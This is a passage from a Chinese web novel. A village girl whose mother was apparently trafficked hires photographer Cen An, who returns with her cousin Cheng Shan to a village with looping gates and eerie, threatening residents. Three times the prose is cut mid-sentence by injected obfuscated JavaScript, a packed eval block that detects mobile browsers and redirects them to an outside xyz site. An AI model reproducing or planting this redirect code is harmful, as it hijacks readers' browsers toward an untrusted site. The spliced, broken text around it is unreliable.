“囡囡,如果有一天你发现自己长出了翅膀,那就飞出去吧,飞得越远越好。妈妈希望,你能飞到春天里,看一场没有雪的日出。” 她问:“妈妈不陪着我吗?” 妈妈只是笑:“妈妈已经长不出翅膀啦。” 她不明白。 她又问妈妈,为什么妈妈什么都没做错,还是会挨打,书上明明不是这么说的。 妈妈脸上浮现了一丝她看不懂的情绪,像找不到松果的小松鼠,又像村长爷爷家那只丢了崽的老猫。 “书上说的,也不全是对的。”妈妈的手抚上她的额头,很暖很暖,“而且妈妈确实做错了事,但我不后悔。” 她似懂非懂。 妈妈说的话,荀小妹向来无条件相信。 书上说的确实不全是对的。 就比如,书上还说,偷东西是不对的,是在做坏事。 但她没有办法。 妈妈告诉她要多读书,家里垫桌角的教材都被妈妈偷偷攒了下来,留给她看。 她学得很快,学会了拼音、写字、算数,还学了画画和唱歌——妈妈什么都会、什么都教她。 家里的书很快就看完了。 她只能悄摸摸地点着煤油灯,去村长爷爷的仓库里偷书看。 荀小妹知道这不对,但她不觉得这是在做坏事。 村长爷爷从来不看书,仓库里成堆的书积攒了好多好多年,甚至还会被婶婶拿去烧炉子。 妈妈也不觉得这是件不好的事情,还会帮她望风,只是每次事后都会叮嘱她要原样还回去。 尽管并不认同书上的观点,但荀小妹心里清楚,这就是偷。 不是偷书,是偷知识。 也许是心存愧疚,妈妈平时干活都会帮婶婶一把,擦桌子拖地洗衣什么都干。 荀小妹也有样学样,会攒下钱买两颗糖,给婶婶的儿子荀耀吃。 这一幕恰巧被爸爸看到了。 他勃然大怒,一个箭步冲过来,捞起她就是两巴掌,什么“赔钱货”“败家玩意儿”“不要脸”“小小年纪就往男人身边凑”,各种难听的骂词一股脑压到了她头上。 荀耀早就吓跑了,还是婶婶跑去搬来了救兵。 在村长爷爷的劝导和妈妈的庇护下,荀小妹才逃过一劫。 可是脸上好疼好疼啊。 荀小妹一辈子都忘不了那种疼痛。 妈妈捂着她的耳朵,不让她听那些污言秽语,爸爸的吼叫声还是穿过妈妈的手,钻进了她的耳朵。 他说,这么大点就会勾搭男人,等以后还能得了? 他还说,得亏耀耀是自家孩子,要不然他的脸面要往哪儿搁。 荀家村的孩子大多都有血缘关系,毕竟真要往祖上追溯,那都是同根同源的一家人。 村长爷爷和荀小妹的爷爷就是亲兄弟。 按辈分,荀小妹也该喊荀耀一声堂哥。 但她不喜欢荀耀。 二叔走得早,荀耀是婶婶一手拉扯大的,自小要风得风,要雨得雨。村长爷爷也疼这个独苗苗,什么好的都紧着他先挑。 就连取名字也是。 当时她两岁,荀耀三岁,都没上户口。 大人图方便,一般都是把几个同龄的孩子凑一凑,一齐上户口。因为前几年的事,村里年轻人越来越少,孩子也越来越少,那年荀家村上户口取名字的只有他们两个。 爸爸说,取名字是男人的事情,不许妈妈插手,那段时间甚至把妈妈打得下不了床。 可他喝了酒就把这事忘了个精光,还是村长爷爷在登记完荀耀的名字后,为难地看了她一眼,说:“要不就叫小妹吧。” 小妹,小妹。 村里人都这么叫她。 但这不该是她的名字。 妈妈说,名字会伴随人的一生,取名字是一件大事,是家人对孩子的祝福。 就像荀耀,村长爷爷希望他光宗耀祖,耀眼夺目。 妈妈私下翻了好久的字典,想给她取个朗朗上口的、寓意美好的名字,却连女儿登记名字的现场都没能去成。 荀小妹常常会想,如果妈妈能做主,她是不是会有一个比荀耀好听千倍万倍的名字? 毕竟她的妈妈那么厉害,用村长爷爷的话说,她妈妈是个文化人。 她曾经在枕头下看到了妈妈偷藏起来的纸,薄薄一层,是被撕碎后重新粘起来的。 长大识字后她才认得,那张纸叫“毕业证书”。 那是妈妈的文化,是妈妈的荣誉。 荀小妹一度想不通,妈妈怎么会和爸爸在一起,她本应该是只展翅高飞的燕子,她的翅膀哪里去了? 后来她才在书上看到答案。 妈妈可能是被骗来的。 书上说,这叫“拐卖”。 她不知道拐卖是什么意思,但她知道,“骗”是很不好很不好的行为。 她想帮妈妈离开这里,就算长不出翅膀,燕子也可以找到一片春天。 恰巧这时,大哥哥回来了。 自那次挨打后,她一直离男人远远的,哪怕是村长爷爷,她都要退上几步才能开口说话。 但大哥哥不一样,他在村里的时候,帮她躲过了荀耀的捉弄,而且她听说,大哥哥也不喜欢他的名字,而且已经成功改掉了名字。 她觉得大哥哥简直会发光,是仅次于妈妈的那种厉害。 但大哥哥很早就跟着亲戚搬到外面住了,说是出去读书。 可是村子里也能读书呀。 荀小妹是这样想的,也是这样问的。 妈妈摇摇头,告诉她,读书和读书也是不一样的。外面的读书,叫“上学”。 她又不明白了。 “什么是上学呀?” “上学就是,你能认识很多小伙伴,能看到外面的世界,能拥有选择的权利。” “我也可以上学吗?” 她的眼睛亮亮的,亮到妈妈的眼睛也开始晶莹闪烁。 “妈妈努力。” 妈妈背过身去,可她还是看到了,妈妈在掉眼泪。 虽然直到现在,荀小妹也没能上学,但她始终记得妈妈的眼泪。 她不强求,也不奢望,只盼望妈妈能早日解脱。 妈妈不姓荀,不该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16143425|180469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 困在这个小小的村落。 书上说,记者会解救受苦受难的人,他们正义勇敢,会揭发一切黑暗与不公,会还受难者一个公道。书中案例记载,曾经有记者暗访跟拍调查,将所见所闻写成报道,公之于众,救出了被困的拐卖妇女。 荀小妹向大哥哥求助,借来了他的手机,凭着几个关键词,搜到了几个接单跟拍的女性博主,其中要价最低的就是“山今”。 她一宿没睡,把小猪存钱罐里的钢镚全都倒了出来,一枚一枚数得清清楚楚。 她用大哥哥的账号加上了山今,把妈妈悄悄替她攒下的钱全搭上了,终于争取到对方的同意。 太好了。 很快妈妈就能飞到春天了。 过程顺利得超乎荀小妹的想象。 大哥哥尊重她的隐私,答应她不会偷看聊天记录,还允许她用他的账号付定金,只是怎么都不肯收她的钱。 她百般央求,最后连着定金和尾款一块儿,把零零碎碎的钢镚用纸币卷了起来,直接塞进了大哥哥随身的包里,他这才无奈收下。 他戳了戳她的脑门,又好气又好笑:“从哪儿学会的这招?” 荀小妹脑海里立刻浮现出了逢年过节大人小孩互相推脱客气的场景。 “秘密。” 她弯了弯眼睛,笑得像只小狐狸。 只可惜,天不遂人愿。 再顺利的过程,也可能在结果上卡壳。 荀小妹挥着手目送两人渐行渐远的背影,泪水一点一点糊住了眼。 好不容易走到这一步,又被打回到原点,无措感仿佛翻涌的浪潮,而她就是风浪中那艘摇摇晃晃的小木船,连方向都找不见了。 她用程杉留下的纸巾擦干了眼泪,视线变得清晰,才发现那两人的异样。 他们也不知是怎么一回事,每次在大门口的指路牌拐了弯,身影一晃又回到了大门内,就跟录音机倒带似的,一拐弯就重新调回起点。 荀小妹:? 她把眼睛揉了又揉,几次下来才确认不是自己的眼出了问题。 大概倒带了五六次,姐姐终于停了下来,一口气拎起了两个又大又重的箱子,像个力大无穷的超人,领着她的跟班原路折回。 荀小妹的嘴张得能塞下个鸡蛋:“姐姐你太厉害了!” 程杉委屈,程杉要说:“姐你就再给我一个吧,小妹妹在那儿看着呢。” “闭嘴,走快点。” 岑桉没好气道。 她在大学拎着全部身家楼上楼下地收拾、扛着设备大街小巷跑遍大街小巷的时候,程杉还不知道在哪堂课上昏昏欲睡呢。 得知他们选择留下,荀小妹欢呼雀跃,恨不得买串鞭炮放来庆祝。 看着她欢蹦乱跳的模样,岑桉心里忽然踏实下来。 这样也好,省得她做了决定又被愧疚折磨,就当行善积德了。 至于是给自己积德,还是给下辈子的自己积德,岑桉不敢想。 “正式认识一下吧。我叫岑桉,山今岑,桉树的桉,是个混口饭吃的自由摄影师,”岑桉顿了下,“从今天开始,也可以是个冒牌记者。” “我叫……嗯,叫我小妹就好。”荀小妹抿了抿嘴,“等以后,我再给你介绍我的名字。” “我叫程杉,杉树的杉,一木三撇那个,”程杉挠头,“我还是个学生,也可能是个无业游民,现在还不知道结果。” “那我就不兜圈子了。”岑桉从包里掏出纸笔,“小妹,你知道‘煤油灯’吗?” 5. 第五章 岑桉思来想去,最在意的还是那条短信。 她想不起全部内容,但清晰记得最后几条字里行间全是“煤油灯”。 不要想煤油灯,不要想煤油灯,不要想煤油灯。 她不知道发信人是想帮她还是害她。 如果是想帮她,她只能合理怀疑对方压根没听过那个叫“喜马拉雅山的猴子”【注】的故事。 传说仙人传授点石成金术时,再三强调施法时不能想起“喜马拉雅山的猴子”,结果村民无一例外,全都施法失败。 同理,岑桉从看到短信开始,大脑就被煤油灯占据了。 “这年头还有人用煤油灯吗?”岑桉伸手捂嘴的速度根本赶不上程杉口出狂言的速度,“手电筒多方便啊。” 荀小妹也不介意:“确实很少了,但我家刚好有一盏,都是我用得比较多。” 她说家里只有爸爸有手机,蜡烛太容易灭,煤油灯又稳定又实惠,所以她以前经常用来照明。 “不过现在到处都有路灯,我也不怎么用了,也就……”她不自然地垂下眼睑,“也就村长爷爷的仓库里没灯,才用得到。” 岑桉想起她之前的话,心中有了几分猜测,绕过了这个话题:“我能看看那盏灯吗?” 话音刚落,四下的路灯骤然亮起,岑桉看了眼手机的时间,正正好好晚上六点半。 “有点晚了,明天看可以吗?”荀小妹有些局促,“灯亮了,爸爸快回来了。” 程杉打了个冷颤。 “我知道你啥意思,但是吧,怎么听着就那么吓人呢。”他小声嘟哝了句。 可能这就是志怪异谈看多了的报应,他听点啥都觉得像规则怪谈。 “姐姐,我先带你们去村长爷爷家吧,他家有空屋子,可以住人。” 终于还是到这一步了。 岑桉心想。 俗话说不入虎穴焉得虎子,上一回就折在这里,她到现在都没弄清楚自己最后是怎么了,莫名其妙就失去意识了。 好歹也是无痛无伤。 她这样安慰着自己。 ——安慰个头啊。 岑桉晃了晃脑袋里的一团浆糊,一把拽住程杉的胳膊:“今天晚上哪都不许去,就给我在房间里呆着。” “这么霸道独裁的吗?”程杉有意见也不敢反对,“我能去哪儿啊,肯定不出去。” 岑桉心道:鬼知道你上回去哪儿了。 但凡有个助力在,她也不至于不明不白就魂归宇宙了。 也不知是不是错过了时候,这次岑桉一行人没有见到婶子,只有老村长一个人用鸟语撑起了一台大戏。 程杉还是头一回见识这场面:“他说啥呢?” 荀小妹欲言又止:“他说,欢迎你们来。” 岑桉警觉地抬起头。她已经被这套说辞糊弄过一次,绝不会被糊弄第二次。 她小幅度招了下手,程杉一点就通,侧身挡住了她,手脚并用地凭身体语言和老村长交流起来。 “小妹,”岑桉用气声说,“你说实话,村长到底说了什么?” “……”荀小妹也压低了声音,“姐姐相信神明吗?” 她在昏暗的天色中回头望向了雪山:“村长爷爷一直相信,神明在庇佑整个村子。他在感谢神明,把你们送来荀家村。” 一瞬间,岑桉鸡皮疙瘩掉了一地。 * 屋还是那个屋,东西还是那些东西,就是身边多了个安分的弟弟。 程杉终于按捺不住了:“现在没别人了,到底咋回事啊姐,你是不是知道什么?还有刚才,小孩儿到底跟你说了什么,你这么魂不守舍的。” 岑桉神情恍惚,瞥他一眼,回正,又瞥他一眼,再回正。程杉更着急了,像只守着罐头不会开的狗,又不敢狂吠,心急火燎地原地打转。 “她说,”岑桉双眼发直,“感谢神明,把你们送来荀家村。” 她学得一字不差,连语气也模仿了个十成十。童稚的语调加上细思极恐的内容,再配合岑桉此刻麻木的脸,程杉觉得自己下一秒就能晕过去。 “送、送来荀家村?”程杉上下嘴皮子直打架,“怎、怎么听着那么像羊入虎口啊?” 岑桉沉默了下。 她的脸上写着几个大字:怪谁呢? 程杉讪讪。 其实也不能完全怪他。 岑桉心里清楚,最根源的问题还是那扇鬼打墙一样的村大门。 程杉也明白,他们现在的状况是诸多不可抗因素综合导致的,但他止不住自责。 是他最开始头脑发热想伸张正义,根本没估量自己的水平和现实的残酷,反倒把岑桉也拉下了水。 “那我们接下来怎么办,”他垂头丧气地坐在床上,“姐,我错了,我都听你的。” 岑桉叩了叩桌子。 “等。” 她刚刚看过时间,18:55,再过两分钟,就要到一个重要节点了。 这是她唯一记得的具体时间点。 时间一分一秒地过去,两人木着脸枯等,从18:55等到18:57,手机静悄悄的,安静得像被封了口的人质。 岑桉不死心,又空等了几分钟,没等来那条古怪的短信,反倒是敲门声如期而至。 ——咚、咚、咚。 头顶的吊灯忽明忽暗,在门窗紧闭的房间中,被风吹得咯吱作响,摇摇欲坠。 程杉早在门被敲响的一瞬就吓得飞扑过来,看到摇晃的吊灯更觉背后发凉:“哪、哪来的风啊……” 他看了眼一脸镇定的表姐,吞了口口水,壮着胆松开了她的袖子:“有、有我呢,姐你别、别怕。” 堂堂男子汉大丈夫,怎么能就此坐以待毙。 他两胳膊一张,环抱着宽大的木桌,一抬——没抬动。 敲门声停了下来,他还没松口气,就听到了锁孔转动的声音,差点被这口不上不下的气噎死。 抬,抬不动就拖,怎么着也得把桌子堵到门口。 他一咬牙一跺脚,使出浑身解数,推着桌子往门口去,没挪两步就感受到一股大力支撑,原本艰难前行的桌子轻轻松松就卡到了门边。 程杉:? 顺着桌边那只没来得及收回的手,程杉回头看到了那张熟悉的、从小看到大的脸。 岑桉摸了摸鼻子。 恰好有几分力气。 锁芯转了两周半,程杉的心也提到了嗓子眼。 门外那个不知道是不是人的东西,像是有什么看好戏的恶趣味,缓缓压下了门把手。 程杉死死按着桌子,双眼紧盯着即将转到底的把手,视死如归地留着遗言:“姐,一会儿我抱住他,你找机会逃跑,能走走不能走就躲起来,不用替我报仇。姐,记得告诉我爹我妈,还有彬子他们,我这大小也算是个英雄了,让他们给我多烧纸。” 岑桉没回腔。 门把手触底。 又弹了回去。 再触底,再弹回。 门外疯狂按动门把,小小一个把手上上下下几乎要摩擦出火星。 程杉看得一愣一愣的,一颗心落回原位才恢复理智,借着忽又亮起的灯光,看清了门把手上几乎与木门颜色融为一体的木衣架。 还是两个。 一个衣架卡住了门把手,另一个横向固定于把手和第一个衣架之间,整个锁死。 哐—— 气急败坏一脚踹门声,然后就是吧嗒吧嗒渐行渐远的脚步声。 整个屋子都安静了下来。 岑桉敲了敲弟弟的头:“谢啦大英雄,你安全了。” 都吃过一次亏了,她怎么可能一点准备都没有。只不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16143426|180469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过患难见真情,居然意外看到了自家孩子挺身而出的一面。 程杉像傻了一样,久久没回过神。 岑桉正手痒得想再敲两下,却见他的脸上都写满了崇拜,双目炯炯:“姐你好厉害!” 岑桉:“……” 婉拒了哈,她就是被荀小妹一句“好厉害”夸心软的。 “姐,姐,你教教我——你从哪儿学的这招啊,太酷了!”脱离危机的程杉像只上蹿下跳的猴儿,缠着岑桉问东问西,“还有这衣架,你怎么还随身带着啊?” 岑桉笑了下。 也没什么,女性基本生存法则罢了。 她出省读的大学,后来又干了摄影这一行,这些年跑东跑西学会了不少技能。 从岑桉第一次外出拍摄开始,她随身的行李里就一直装着两个晾衣架,否则她怎么能一个人天南海北地接单,又怎么能一个人安心住在酒店民宿。以前她独自在外时,就连点份外卖都要从头到尾检查一遍,生怕有什么疏漏。 要不是上次一时疏忽,说不准她还能活。 “早点睡吧,明天还有场硬仗要打。” 可能是上天听到了她睡前的话,一大早,把她叫醒的不是设好的闹钟,而是窗外霹雳乓啷一通响,然后就是砸门一样的敲门声。 岑桉很久没有一觉到天亮了,乍一惊醒,还有种没睡够的萎靡感,下床一看,睡在下铺的程杉更是醒都没醒,一头埋在稻草里,也不嫌闷得慌。 因着担心再有意外发生,两人昨晚都是穿着白天的衣服睡的,岑桉直接上手,强行把人从睡梦里拽了起来。 程杉睡眼惺忪,一张口就是梦话:“姐,你看见我录取通知书了吗?” 岑桉:“……” 岑桉:“醒醒,你连志愿都没报呢。” 好不容易拖家带口地起了床,岑桉正犹豫要不要开门,窗就被敲响了。 她和程杉对视一眼,后者举起了昨晚就准备好的三脚架当武器,她这才将窗户推开一点缝隙,看到的是一只陌生的眼睛。 她啪一下就把窗关上了。 “别怕啊女娃娃,村长是俺爹,他让俺来叫你们吃饭。”他又敲敲窗,嗓门洪亮,“不是还有个男娃子吗,让他来给俺开门,男子汉畏畏缩缩躲女娃娃身后干啥,不像样!” 程杉:“……” 怎么还带人身攻击的啊。 就这样,三脚架转移到了岑桉的手中,程杉取下衣架,如法炮制地把门开了个小缝,就被门外大汉一掌推开了:“臭小子,防贼呢?你住的是俺家的房子!” 好在大汉并不记仇,转头又乐呵呵地对着岑桉道:“女娃娃找对象眼神不行,看景是真有眼光啊。俺们村虽然人少,但景是真没得说,你要上雪山不?俺能给你们当导游。” 程杉:? 怎么又攻击他。 岑桉:“……” 她没直接拒绝,但是特意强调了两人的姐弟关系——这可不兴误会的。 隔着老远的路,岑桉看到荀小妹一路小跑,还冲她晃着手。她再三犹豫,还是选择暂时瞒下这孩子的事,也没解释自己的来意并非旅游。 大汉循着她的视线望去:“那丫头叫小妹,是俺侄女儿。” “我认得,”岑桉点头,“是她带我进村找的村长,很乖的孩子。” 一旁的程杉听到“乖”就打了个哆嗦,心理阴影着实有点大。 “认得啊?”大汉有些意外,看了看她,又看看了远处的荀小妹,重重叹了口气,“丫头也是命苦,当爹的一天到晚不干人事儿,当妈的又走得早,可怜见的哟。” 岑桉如遭当头棒喝。 “您,说什么?” 她的喉咙里像卡了一根骨头,咽不下也吐不出,连呼吸都变得困难,声音更是紧得发涩。 “她妈妈,走了?” 6. 第六章 天晴得发蓝,入夏的熏风携着热意扑面而来。 岑桉的心却像浸在冰水里。 她的意识似是被扯成了两半,一半在听大汉絮絮叨叨讲陈年旧事,另一半在无限循环他在屋前的那句回答。 “是啊,早走了,难产走的。村里的女人就这样,是命,得认。” 他是这么说的。 程杉学聪明了,这次一句话也没说,只是眼睛瞪得滚圆,眼神控制不住地往岑桉那里飘。 如果岑桉能听到他的心声,一定会被吵得心烦意乱。他脑袋里像安了个警报,从听到“当妈的走得早”开始,那警报就一直在呜呜响,还伴随着“鬼啊——”的尖叫声。 他想回家。 他这辈子都不想旅游了。 大汉长得五大三粗,结实魁梧,话倒是又密又多,根本不用旁人引导,就把自家的琐事抖落了个干净。 他说他叫荀叔远,是老村长的三儿子,顶上有两个哥哥,一个堂的一个亲的。 老大荀伯成,也就是荀小妹的爸爸,是老村长亲哥家的独苗,后来才记在他的名下,结婚成家后就搬到湖东畔的单屋住了;老二荀仲安早些年意外过世,有个儿子叫荀耀,是他媳妇王春花一手拉扯大的。 王春花从隔壁王家村嫁过来,刚怀上荀耀没多久,荀仲安就没了。村里有人嚼舌根子,说她克夫,老村长不信这些,一直待她亲厚,但公媳得避嫌,他就托荀小妹的妈妈照顾她,直到她生出了个大胖小子,荀小妹的妈妈也怀上了。 荀伯成整日不着家,没人知道他在忙活些什么,每天都往外边跑,跟家人关系也不冷不热,反倒是王春花她们妯娌间感情还不错。 但家里人口多了,吃饭的嘴也就多了,荀叔远就是这个时候回来的。他早年在城里务工,有一把子力气,回村后家里的地都是他在打理,老村长这才安享晚年。 岑桉从西院到正屋一路上都没怎么开口,她把已知的信息捋了又捋,感觉脑海里有两个小人在打架,一个叫嚣着“他们都不是什么好人”,另一个劝慰她“这其中肯定有什么误会”。 两次加起来满打满算,她总共见到了荀家村五个人,荀小妹和荀叔远中间一定有一个人在说谎,婶子王春花是上次害她性命的元凶,再排除掉她根本没法沟通的老村长,眼下她只剩下一个人可以当作突破口。 ——那个疑似知情的男人。 岑桉越想越觉得靠谱。 那个人看起来知道不少,普通话也标准,目前为止还没有害过她。最重要的是,他的手机能够联系到她。 一切线索都指向一种可能,他就是那条陌生短信的发信人。 而那个发信人,似乎是站在她这一边的。 荀叔远还滔滔不绝地沉浸在自己的“想当年”里,荀小妹侧着脑袋听得津津有味,岑桉不动声色地落后几步,捣了下程杉的胳膊,一下把他呆滞双眼里的光撞了回来。 他挤眉弄眼:咋回事儿啊! 岑桉把手机上事先打好的字递到他眼前:你吸引注意力,我套小妹话,要找到昨天超市那个男的。当心王春花!!! 程杉不理解,但程杉听话照办。 于是,当一家人连带着俩外人齐聚一堂时,程杉一人挑起了大梁,左转头赞美两句婶子有气质,右转头夸奖荀叔远有本事,头回正又冲坐他对面的老村长比了个大拇指,然后手舞足蹈地表演了一套自创身体语言。 一个人劈成三个用,留下充足的时间空间供岑桉套话。 婶子要给岑桉添点水,程杉眼疾手快抢活干,见缝插针补上句“婶子真显年轻”,哄得她合不拢嘴;荀叔远要给岑桉碗里夹饼,程杉张口胡扯说她过敏,顺嘴又把话题引回了荀叔远的光辉岁月;老村长更不必说,接收到他的回应,热情劲儿水涨船高,也甭管看没看懂,拉着他的手亲热得像待亲孙子一样。 程杉脸上的笑越来越僵,眼看就要扛不住了,连连回头看向老姐,这时候一虎头虎脑的孩子从屋里走出来,哈欠连天:“好吵啊,妈我饿了。” 他也是有点天赋,闭眼走直线一路走到院中央的餐桌边,一屁股坐下前才勉为其难地睁开一半眼。这半眼一瞧可不得了,他的座位上不仅坐了人,还坐了他不认识的外人,一嗓子开嚎:“你谁啊?” 坐在他位置上的程杉:“……” 下意识想回“我是你爹”怎么办。 得亏忍住了。 婶子脸上堆着笑,一边说着孩子不懂事,一边把他拉到了自己身边。老村长一拍大腿,对着他好一顿呜哩呱啦,程杉也听不懂,大概猜测也就是假装训斥之类的场面话。 男孩皱了皱脸:“我知道了爷爷,对不起,我错了。” 老村长摆摆手:“嗬啦咕噜呱唧。” 男孩:“那我要零食!要冰激凌!” 程杉:? 敢情这位老人家能听得懂普通话啊! 那他刚才一通手舞足蹈是演给谁看呢,现代人返祖吗。 更重要的是—— “他怎么还点上菜了?” 程杉小声吐槽。 “他就是荀耀,”荀小妹晕晕乎乎地从岑桉的魔爪里逃了出来,解释说,“村长爷爷刚刚说他知错能改就是好孩子,问他要什么奖励。” 程杉:“……” 他也懒得掺和人家怎么教育孩子,往后仰了仰身,越过婶子看向岑桉,得到对方的点头示意后,立马放下心来。 老姐点头了,妥了。 他美滋滋准备摆烂,忽然听到响亮的一声“咕噜噜”——声源是他的肚子。 从进了村开始程杉就一顿饭没吃,得亏昨天下午在超市吃了点东西垫垫肚子,也就一根雪糕一包辣条一桶薯片两盒柠檬饼干和一袋吐司面包而已,再加上刚才光顾着完成老姐的任务,他顶多就啃了两口饼,能不饿吗。 理由充分,但脸皮不够厚。 迎着六个人十二道目光,程杉恨不得钻到桌底下去。 “好响啊。”这是荀耀。 “好像打雷。”这是荀小妹。 “赶紧吃,饭还堵不住你们的嘴。”这是训孩子的王春花。 “咕啦哇。”这是他听不懂的老村长。 “咳,好了,都吃饭,吃饭。”这是好心替他圆场的荀叔远。 岑桉没说话。 好话赖话都让人给说尽了,压根就没有她能发挥的余地。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16143427|180469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她一声不吭地给埋头苦吃的弟弟夹了一筷子油饼。 替她负重前行,真是辛苦他了。 * 岑桉去过很多出片的地方,每个单主喜欢的风格不同,选择的拍摄地也就不同。她拍过烟雨江南,拍过古色小镇,拍过黄沙大漠,也拍过汪洋大海。但她是第一次拍雪山,或者说,她是第一次直面雪山。 和照片里看到的完全不同。 雪山只是静静地立在那里,凛冽的压迫感便迎面而来。 她仰起头,看不清云雾缭绕间的顶峰,却没由来地在阵阵寒意中感到了宁静。雪山静谧而祥和,却又冷峻而厚重,只一眼,仿佛洗涤了她心间诸多烦嚣。 “是不是和想象中不太一样?” 岑桉被唤回神,男人已站在她身侧,与她并肩:“说出来也不怕你笑话,我第一次看雪山时流过眼泪。” 他的话语中带着莫名的熟稔,岑桉心念一动:“我们认识吗?” 男人一怔,眼底的情绪一闪而过,快到她紧盯着他的眼都没能抓住。 “认识啊,”他笑得恍若云开雾散,“我们昨天才见过,你这就忘记了?” 她问的不是这个“认识”。 岑桉被他一套四两拨千斤拨得心猿意马,主动出击:“我都还不知道你姓甚名谁,就算认识了吗,‘曙’先生?” “你好,‘山今’,彼此彼此。”他伸出手,指节绷得泛白。 那只手五指微微并拢,手指纤细修长,骨节分明,像女娲的得意之作。岑桉看过一个说法,手是人的第二张脸,显然对面这人的第二张脸比第一张脸还要出色。 “岑桉。”她握了上去,他掌心的温度烙在了她的手上。 “荀昼生,白昼的昼,生命的生。”他的声音轻得像风,“终于见到你了。” “阿嚏——” 一声巨大的喷嚏声。 众所周知,打喷嚏是人力控制不住的,但程杉现在是真的有点尴尬。 他谨遵姐命,费了好大力气牵制住三个人,还没来得及问老姐都套了什么消息,就被不争气的肚子打断了。 虽然当时是丢脸了些,但他可是大功臣,老姐都冲他点头了,肯定是有办法找到那男的了,他只要开启自动跟随模式就好。 谁知道老姐她压根不用开口问,自然有猎物送上门来。他本来就没搞清楚状况,胡吃海塞填饱了肚子,一回头就看到荀昼生守在村长家门口,直得像根电线杆,他差点没惊得蹦起来。 再然后就更不必说了,荀昼生带路带到了雪山底,程杉长这么大头一回见到真雪山,正想跟老姐分享自己的兴奋,那男的忽然就把他挤开了。他在老姐身边站得好好的,怎么就碍着荀昼生的眼了,这位置这么抢手吗? 程杉有仇向来当场就报。结果他还没来得及告状呢,就看到俩人眉来眼去地握上手了。 程杉:? 他承认这男的是长得还行,但也不至于勾魂摄魄,老姐怎么就跟被灌了迷魂汤一样,俩人搁雪山底下一唱一和地演起偶像剧来了。 苍了天了,有没有人能管管他的死活啊! 他就穿了一件短袖,真的很冷啊!! 7. 第七章 经过这一打岔,在场反应最快的就是荀昼生了。 他鼓鼓囊囊的背包像百宝箱似的,从里面掏出了一件又一件外套。 程杉拿人手短,穿上了荀昼生提前准备好的外套,他又给对方提高了点评分。这人还算有良心,想要泡他姐,还给他带东西,这就是爱屋及乌吗。 他趁荀昼生低头,飞速冲岑桉眨了眨眼。 岑桉:“……” 她该不该告诉弟弟,她出发前给他多带了薄外套和羽绒服,和她的一起放在行李箱里。只不过没想到今天会有上雪山的行程,她压根就没把衣服拿出来。 荀昼生给她披上的夹克还有股皂香,像是新洗的没穿过,分寸感拿捏得恰到好处。 她能感受到这份适度的体贴,尽管如此,岑桉还是想不通,自己刚才怎么就跟下了降头似的,被一个笑一只手勾了魂。不过她向来不为难自己,想不通就拉倒,感情的事谁说得准,更何况她还不知道荀昼生怀的什么心思,现在最大的问题是生存,活都不一定能活谈什么感情。 思想是很豁达,她的手却有自己的想法,食指的指尖在拇指上捻来捻去——人在尴尬的时候手是闲不住的。被弟弟亲眼目睹了全过程,她现在特别想抠个地缝躲进去。 总有二百五不会看气氛也不会看脸色。 程杉眼尖地注意到她的举动,凑了过来,声音压得像在做小偷小摸的勾当:“不太好吧姐,感情的事是不能用金钱解决的。” 岑桉:? 岑桉:这个弟弟不想要了,能不能换一个,微瑕便宜出。 * 雪山东麓有条索道,看上去年久失修,缆车在风中摇曳,只一眼便心惊胆寒。 据荀昼生所说,这条索道有些年头了,是从前供奉雪山神明的村民修的。山脚下聚居的村落都有着共同的信仰,他们尊崇雪山,敬畏雪山,靠雪山吃饭,雪山给农耕提供土壤和水源,他们拜天地、祭神明来感谢雪山庇佑,祈求风调雨顺,祈祷降福免灾。 “那个时候,大家都唤她雪山娘娘。” 雪山一脉是十年前没落的,几个村子陆陆续续地搬走了,只有荀家村还坚守在这儿,但人心也早就散了,最初还有几十口人,慢慢演变成十几口人,现如今也仅剩下不到十个常住村民。 “他们为什么不走?”程杉问。 “我当时也不懂,后来想想,可能因为贪婪吧。” 荀昼生领着他们到了索道站,熟门熟路地走完安全检查和设备操控的流程,仔细擦拭表面的泥土灰,而后打开缆车车厢的门示意他们进去。 岑桉略一迟疑,就跨上了车,程杉腿肚子都软了:“靠谱吗?” “很安全。”荀昼生看出他害怕,“要不你在这里等等,我先带你姐上去?” 程杉心一横,抓着把手闭眼坐了上去,牙都在打抖。 他不放心岑桉一个人上去,他也不放心自己一个人在下面,恐怖片里单独行动的死亡指数蹭蹭上涨,他还没那么莽。 程杉勉强睁开眼,头一回恨起自己的恐怖片阅片量,心里替自己默哀。 眼前这两人显然跟自己不在一个频道,那男的莫名其妙进了偶像剧频道,至于老姐,居然像在旅游放松频道。 岑桉在程杉坐稳后就一直看着缆车窗外,透明的窗面干干净净,能清晰看到雪山风景。她托着下巴,云淡风轻:“你知道得还挺多。” “比如,你怎么知道我是他姐?” 程杉差点把门把手掰下来。 